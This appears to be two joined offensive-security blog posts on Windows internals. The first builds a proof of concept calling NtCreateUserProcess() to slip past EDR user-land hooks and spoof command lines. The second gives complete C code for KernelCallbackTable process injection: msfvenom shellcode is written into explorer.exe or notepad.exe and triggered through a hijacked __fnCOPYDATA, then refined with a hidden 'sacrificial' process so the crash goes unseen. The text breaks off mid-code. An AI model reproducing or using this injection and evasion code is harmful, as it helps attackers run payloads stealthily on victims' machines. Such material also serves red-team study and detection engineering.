One of the documented Windows APIs for creating processes is CreateProcess(). Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call to CreateProcessInternal(), which is responsible for actually creating the user-mode process. CreateProcessInternal() then calls the undocumented and native API NtCreateUserProcess() (located in ntdll.dll) to shift to kernel-mode.

But Why Use `NtCreateUserProcess()`?

NtCreateUserProcess() is the lowest and the last function accessible in user-mode that we could call to evade the detection controls (such as User-land Hooking) set by an AV/EDR.

When I searched the web for a sample implementation of NtCreateUserProcess(), I came across the following repos:

However, none of them worked during the times I tested them. I spent hours modifying the codes that I found to try and make it work, but I keep on failing. So aside from the evasive purposes of this native function, the main reason I dedicated my free time to this subject is for the fun and challenge.

`NtCreateUserProcess()`

The native API NtCreateUserProcess() has the following syntax.

NTSTATUS
NTAPI
NtCreateUserProcess(
    _Out_ PHANDLE ProcessHandle,
    _Out_ PHANDLE ThreadHandle,
    _In_ ACCESS_MASK ProcessDesiredAccess,
    _In_ ACCESS_MASK ThreadDesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,
    _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,
    _In_ ULONG ProcessFlags,
    _In_ ULONG ThreadFlags,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _Inout_ PPS_CREATE_INFO CreateInfo,
    _In_ PPS_ATTRIBUTE_LIST AttributeList
);

Let’s start building this function and its parameter starting with both ProcessHandle and ThreadHandle which will store the handles to the created process and thread. These two arguments are too simple and can be initialized with the following:

HANDLE hProcess, hThread = NULL;

For ProcessDesiredAccess and ThreadDesiredAccess parameters, we need to supply them with ACCESS_MASK values that would identify the rights and controls we have over the process and thread we’re creating. Different values could be assigned to ACCESS_MASK and they are listed in winnt.h. Since we’re only dealing with process and thread objects, we can use the process- and thread-specific access rights PROCESS_ALL_ACCESS and THREAD_ALL_ACCESS.

For other process- and thread-specific access rights, refer to these documentations:

The next parameters are ProcessObjectAttributes and ThreadObjectAttributes, which are pointers to an OBJECT_ATTRIBUTES. This structure contains the attributes that could be applied to the objects or object handles that will be created. These parameters are optional hence we can simply assign NULL values to them.

The flags set within ProcessFlags and ThreadFlags determine how we want our process and thread to be created (e.g., if we want a suspended process/thread upon creation). They are similar to the dwCreationFlags argument of CreateProcess() but the flags documented in MSDN do not apply to NtCreateUserProcess(). At the same time, SysWhisper2 (my go-to tool for generating the structs and typedefs of a function) does not support the generation of these flags. So where do we get the flags for these parameters? Good thing Process Hacker exists and open-source.

So based on ntpsapi.h header of Process Hacker, the valid values for ProcessFlags are:

#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // NtCreateUserProcess only
#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // NtCreateProcessEx & NtCreateUserProcess, requires SeLoadDriver
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_FORCE_BREAKAWAY 0x00000400 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_MINIMAL_PROCESS 0x00000800 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_RELEASE_SECTION 0x00001000 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL 0x00002000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL_REDUCED_COMMIT 0x00004000 //
#define PROCESS_CREATE_FLAGS_AUXILIARY_PROCESS 0x00008000 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_CREATE_STORE 0x00020000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_USE_PROTECTED_ENVIRONMENT 0x00040000 // NtCreateProcessEx & NtCreateUserProces

While the following are the valid flags for ThreadFlags (based on ntpsapi.h):

#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 // NtCreateUserProcess & NtCreateThreadEx
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_LOADER_WORKER 0x00000010 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 // ?

What I like about the flags provided by Process Hacker is that they put some notes on what flags are supported by which native APIs. So be wary since not all flags are supported by NtCreateProcess(). For example, only THREAD_CREATE_FLAGS_CREATE_SUSPENDED could be applied to the ThreadFlags parameter.

So which among these flags should we use? Well, to create a “minimal” working PoC for NtCreateUserProcess(), we could simply set these parameters to NULL.

The next parameter (ProcessParameters) is optional but I found it to be mandatory. This parameter points to a RTL_USER_PROCESS_PARAMETERS structure which describes the startup parameters of the process to be created. We’ll discuss more about this parameter in the next section.

Next in line is CreateInfo, which is a pointer to a PS_CREATE_INFO structure. There’s not much information on the Internet (based on my searches) about PS_CREATE_INFO and this is the only post that I found that discusses this structure.

Based on my experiment, the PS_CREATE_STATE enumeration value that worked for me is PsCreateInitialState. So for a “minimal” working PoC, I set the value of PS_CREATE_INFO members to:

CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;

Just like ProcessFlags, I found that the last argument (AttributeList) is not optional (in my case). This parameter is used to set up the attributes for process and thread creation. An example of this is when implementing PPID Spoofing where the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute is set (if the WinAPI CreateProcess() is used). While the attributes for CreateProcess() is documented here, the valid attributes for NtCreateProcess() is not. So where do we get these “native attributes”? Again, Process Hacker’s ntpsapi.h to the rescue.

#define PS_ATTRIBUTE_PARENT_PROCESS PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_DEBUG_PORT PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_TOKEN PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_CLIENT_ID PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_TEB_ADDRESS PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_IMAGE_NAME PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IMAGE_INFO PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE)
#define PS_ATTRIBUTE_MEMORY_RESERVE PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PRIORITY_CLASS PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ERROR_MODE PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_STD_HANDLE_INFO PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_HANDLE_LIST PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_GROUP_AFFINITY PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_PREFERRED_NODE PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IDEAL_PROCESSOR PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_UMS_THREAD PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_MITIGATION_OPTIONS PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PROTECTION_LEVEL PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_SECURE_PROCESS PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_JOB_LIST PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_WIN32K_FILTER PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_BNO_ISOLATION PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_DESKTOP_APP_POLICY PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHPE PsAttributeValue(PsAttributeChpe, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_MITIGATION_AUDIT_OPTIONS PsAttributeValue(PsAttributeMitigationAuditOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_MACHINE_TYPE PsAttributeValue(PsAttributeMachineType, FALSE, TRUE, TRUE)

Table 3-7: Process Attributes of “Windows Internals, Part 1 (7th Edition)” presents a nice table on which “native attribute” corresponds to its Win32 equivalent.

Going back to AttributeList, I initialize this parameter with the following code:

PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);

AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

Here, the attribute PS_ATTRIBUTE_IMAGE_NAME specifies the name of the process to be created, and the NtImagePath variable holds the path of the image/binary from which the process will be created.

So here’s what the code for NtCreateProcess() would look like:

NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

`RtlCreateProcessParametersEx()`

If you have observed, NtCreateProcess() does not accept any argument that contains the path to the process to be created. This is where RtlCreateProcessParametersEx() comes into action. As the name suggests, its purpose is to populate the structure that will hold the parameters of the process to be created. This undocumented (but not native) function has the following syntax.

NTSTATUS
NTAPI
RtlCreateProcessParametersEx(
    _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    _In_ PUNICODE_STRING ImagePathName,
    _In_opt_ PUNICODE_STRING DllPath,
    _In_opt_ PUNICODE_STRING CurrentDirectory,
    _In_opt_ PUNICODE_STRING CommandLine,
    _In_opt_ PVOID Environment,
    _In_opt_ PUNICODE_STRING WindowTitle,
    _In_opt_ PUNICODE_STRING DesktopInfo,
    _In_opt_ PUNICODE_STRING ShellInfo,
    _In_opt_ PUNICODE_STRING RuntimeData,
    _In_ ULONG Flags
);

pProcessParameters points to the RTL_USER_PROCESS_PARAMETERS structure, which will hold the process parameter information as a result of executing RtlCreateProcessParametersEx(). Any information stored in the structure is then used as an input to NtCreateProcess(). MSDN has poor and very limited documentation of the RTL_USER_PROCESS_PARAMETERS structure so I recommend the structure provided by Process Hacker.

The second parameter ImagePathName holds the full path (in NT path format) of the image/binary from which the process will be created. For example:

UNICODE_STRING NtImagePath;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

The RtlInitUnicodeString() function, which has the following syntax, is necessary to initialize the UNICODE_STRING structure.

VOID NTAPIRtlInitUnicodeString(
    _Out_ PUNICODE_STRING DestinationString,
    _In_opt_ PWSTR SourceString
);

The initialization of the UNICODE_STRING structure is done by:

Setting the Length and MaximumLength members to the length of the SourceString
Setting the Buffer member to the address of the string passed in SourceString
```
typedef struct _UNICODE_STRING
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
```
The other arguments (DllPath, CurrentDirectory, CommandLine, Environment, WindowTitle, DesktopInfo, ShellInfo, RuntimeData) are optional. For our goal, we can simply set them all to NULL.

A scenario in which these parameters can be useful is when “blending in” to help avoid detections. As an example, if we set CommandLine to NULL, the value that will be set upon process creation is the same with what’s passed in ImagePathName.

If we want to mimic/spoof the actual command line when C:\Windows\System32\RuntimeBroker.exe gets created normally, we can do it using the following code:

UNICODE_STRING CommandLine;
RtlInitUnicodeString(&CommandLine, (PWSTR)L"\C:\\Windows\\System32\\RuntimeBroker.exe -Embedding");

The last parameter (Flags) is used to normalize the parameters by setting the value RTL_USER_PROCESS_PARAMETERS_NORMALIZED. When a process is created, some inputs are not even fully initialized yet. If this happens, there’s a chance wherein the memories being accessed are just relative offsets of the structure describing the process and not the actual memory addresses.

If you’re going to use RtlCreateProcessParameters(), which is the non-extended version, a call to RtlNormalizeProcessParameters() should be made to normalize the parameters.

So here’s what the code for RtlCreateProcessParametersEx() I ended up with:

RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

Cleanup Code

As a cleanup, we can use RtlFreeHeap() to free the memory that was allocated by RtlAllocateHeap(), and RtlDestroyProcessParameters() to deallocate the process parameters stored in the RTL_USER_PROCESS_PARAMETERS structure.

RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);

The Header File

Aside from developing the code, another challenge working with native APIs is finding the right structures and definitions to use. I tried to manually create the header file by scouring the Internet and compiling what I have found until every structure and definition that I needed are satisfied. However, it cost me some headaches so I just gave up.

As you’re already aware, I keep on referencing the ntpsapi.h header file from Process Hacker. However, it does not contain every structure and definition that I needed. Even the whole phnt native API header files caused an error during compilation due to missing structures.

After a ton of searches, I ended up with the ntdll.h header file provided by x64dbg/TitanEngine. After including this header in my code, I’m relieved that it did not cause any compilation error.

While it contains everything I need for my “minimal” PoC, there are still some missing definitions that I found. For example, it only has the following flags for process creation compared to what Process Hacker has (listed above):

#define PROCESS_CREATE_FLAGS_BREAKAWAY              0x00000001
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT       0x00000002
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES        0x00000004
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008
#define PROCESS_CREATE_FLAGS_LARGE_PAGES            0x00000010

// Only usable with NtCreateUserProcess (Vista+):
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL  0x00000020
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS      0x00000040 // Only allowed if the calling process is itself protected
#define PROCESS_CREATE_FLAGS_CREATE_SESSION         0x00000080
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT    0x00000100

The Minimal Code

After all the headaches and struggles, here’s the “minimal” working PoC that I came up with:

#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")

int main()
{
	// Path to the image file from which the process will be created
	UNICODE_STRING NtImagePath;
	RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

	// Create the process parameters
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
	RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

	// Initialize the PS_CREATE_INFO structure
	PS_CREATE_INFO CreateInfo = { 0 };
	CreateInfo.Size = sizeof(CreateInfo);
	CreateInfo.State = PsCreateInitialState;

	// Initialize the PS_ATTRIBUTE_LIST structure
	PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
	AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
	AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
	AttributeList->Attributes[0].Size = NtImagePath.Length;
	AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

	// Create the process
	HANDLE hProcess, hThread = NULL;
	NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

	// Clean up
	RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
	RtlDestroyProcessParameters(ProcessParameters);
}

And here’s a demo of launching C:\Windows\System32\calc.exe using the above code.

The full project can be found here.

Conclusion

That’s it for this post! Again, I’m not an expert in Windows Internals so I’m happy to hear some corrections and additional information.

Before I end this, if you want to know the detailed and step-by-step procedure on how a process gets created, I suggest reading the Flow of CreateProcess section in “Windows Internals, Part 1 (7th Edition)”.

A summary of what’s in the book could also be read in this 2-part series:

Adventures with KernelCallbackTable Injection

Thu, 21 Apr 2022 00:00:00 +0000

Lately, I came across with KernelCallbackTable which could be abused to inject shellcode in a remote process. This method of process injection was used by FinFisher/FinSpy and Lazarus.

This post walks through the journey I took and the hurdles I encountered to make process injection via KernelCallbackTable work according to what I wanted.

The Problems

When I Googled about this technique, the very first result that I got was none other than the post written by modexpblog. So for this experiment, I used the code he provided as my basis and slightly modified it.

#include <Windows.h>
#include <stdio.h>
#include "struct.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
	unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T payloadSize = sizeof(payload);

	// Find a window for explorer.exe
	HWND hWindow = FindWindow(L"Shell_TrayWnd", NULL);
	printf("[+] Window Handle: 0x%p\n", hWindow);

	// Obtain the process pid and open it
	DWORD pid;
	GetWindowThreadProcessId(hWindow, &pid);
	printf("[+] Process ID: %d\n", pid);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Process Handle: 0x%p\n", hProcess);

	// Read PEB and KernelCallBackTable addresses
	PROCESS_BASIC_INFORMATION pbi;
	pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
	myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb;
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);

	KERNELCALLBACKTABLE kct;
	ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
	printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);

	// Write the payload to remote process
	LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);
	printf("[+] Payload Address: 0x%p\n", payloadAddr);

	// 4. Write the new table to the remote process
	LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
	WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
	printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA);

	// Update the PEB
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
	printf("[+] Remote process PEB updated\n");

	// Trigger execution of payload
	COPYDATASTRUCT cds;
	WCHAR msg[] = L"Pwn";
	cds.dwData = 1;
	cds.cbData = lstrlen(msg) * 2;
	cds.lpData = msg;
	SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
	printf("[+] Payload executed\n");

	// Restore original KernelCallbackTable
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);
	printf("[+] Original KernelCallbackTable restored\n");

	// Release memory for code and data
	VirtualFreeEx(hProcess, payloadAddr, 0, MEM_DECOMMIT | MEM_RELEASE);
	VirtualFreeEx(hProcess, newKCTAddr, 0, MEM_DECOMMIT | MEM_RELEASE);
	
	// Close handles
	CloseHandle(hWindow);
	CloseHandle(hProcess);
	printf("[+] Cleaned up\n");
}

The above PoC uses explorer.exe as the target process. This is done using the FindWindow() function to get a handle to the window class Shell_TrayWnd, which is associated with explorer.exe. Execution of the payload begins when the SendMessage() function is called. This happens since __fnCOPYDATA, which points to the payload’s address, gets triggered when the WM_COPYDATA message is sent.

But why explorer.exe when there are other processes running on the system? That’s because the KernelCallbackTable that is found within the PEB only gets initialized when user32.dll, used by GUI processes, is loaded into the process’ memory. This means processes that do not load user32.dll won’t have the KernelCallbackTable field in the PEB.

During my experiment, the PoC didn’t work and it keeps on crashing explorer.exe right after updating the target process’ PEB (by executing the below line of code). While explorer.exe auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when SendMessage() is called.

// Update the PEB
WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);

What if we target other GUI processes? I tried it by getting a handle to the window class Notepad (using the code below) and have notepad.exe run before executing the code.

HWND hWindow = FindWindow(L"Notepad", NULL);

And it worked! The payload gets executed but the target process still crashed right after the call to SendMessage().

The problems I see with this method are:

You have to first enumerate the window classes available on the system. (This is doable with EnumWindows() function.)
The target process crashes no matter what. (I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.)
The crash is visible to the user.

Other’s Solution

ORCA666 found a way to solve this issue by not targeting explorer.exe and by loading user32.dll in memory. However, his approach loads user32.dll in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his KCTHIJACK repo.

His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process.

My Solution

Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do.

First Attempt: FAILED!

To achieve my goal, I used CreateProcess() to spawn an instance of notepad.exe and set the process creation flag dwFlags to CREATE_SUSPENDED to make it “hidden”.

CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

Well, that didn’t work because a suspended process does not have any window in it.

No window means no handle to obtain so injection and execution of payload are not possible.

[+] Window Handle: 0x0000000000000000
[+] Process ID: 0
[+] Process Handle: 0x0000000000000000
[+] PEB Address: 0x0000020C2A583CC0
[+] KernelCallbackTable Address: 0x0000000000000000
[+] Payload Address: 0x0000000000000000
[+] __fnCOPYDATA: 0x0000000000000000
[+] Remote process PEB updated
[+] Payload executed
[+] Original KernelCallbackTable restored
[+] Cleaned up

Second Attempt: FAILED! (again)

Instead of resorting to the CREATE_SUSPENDED flag to hide the created process, I used the dwFlags and wShowWindow members of the STARTUPINFO structure and set their values to the following:

si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

As for the process creation flag, I changed it from CREATE_SUSPENDED to CREATE_NEW_CONSOLE. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen.

Third Attempt: SUCCESS!

After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A Sleep() function will fix the issue (I tried it and it worked). However, I don’t want to wait until the number of seconds passed in Sleep() lapsed. I used WaitForInputIdle() instead so it will only wait until the process has finished its initialization.

WaitForInputIdle(pi.hProcess, 1000);

Here’s the final code that I came up with.

#include <Windows.h>
#include <stdio.h>
#include "struct.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
	unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T payloadSize = sizeof(payload);

	// Create a sacrifical process
	PROCESS_INFORMATION pi;
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	// Wait for process initialization
	WaitForInputIdle(pi.hProcess, 1000);

	// Find a window for explorer.exe
	HWND hWindow = FindWindow(L"Notepad", NULL);
	printf("[+] Window Handle: 0x%p\n", hWindow);

	// Obtain the process pid and open it
